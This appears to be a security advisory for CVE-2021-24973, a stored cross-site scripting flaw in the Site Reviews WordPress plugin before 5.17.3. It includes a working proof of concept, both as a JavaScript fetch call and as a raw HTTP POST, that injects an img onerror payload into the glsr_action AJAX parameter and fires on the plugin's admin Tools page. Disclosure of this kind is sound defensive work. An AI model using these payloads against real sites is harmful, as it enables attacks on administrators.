Site Reviews < 5.17.3 – Unauthenticated Stored Cross-Site Scripting | CVE 2021-24973

Description

The plugin does not sanitise and escape the site-reviews parameter of the glsr_action AJAX action (available to unauthenticated and any authenticated users), allowing them to perform Cross-Site Scripting attacks against logged in admins viewing the Tool dashboard of the plugin

Proof of Concept

fetch("https://example.com/wp-admin/admin-ajax.php?action=glsr_action", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "site-reviews[0]=</textarea><img+src+onerror=alert(1)>",
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(data => console.log(data));

POST /wp-admin/admin-ajax.php?action=glsr_action HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/x-www-form-urlencoded
Content-Length: 57
Connection: close

site-reviews[0]=</textarea><img+src+onerror=alert(/XSS/)>

The XSS will be triggered when viewing the Tool dashboard of the plugin (/wp-admin/edit.php?post_type=site-review&page=glsr-tools)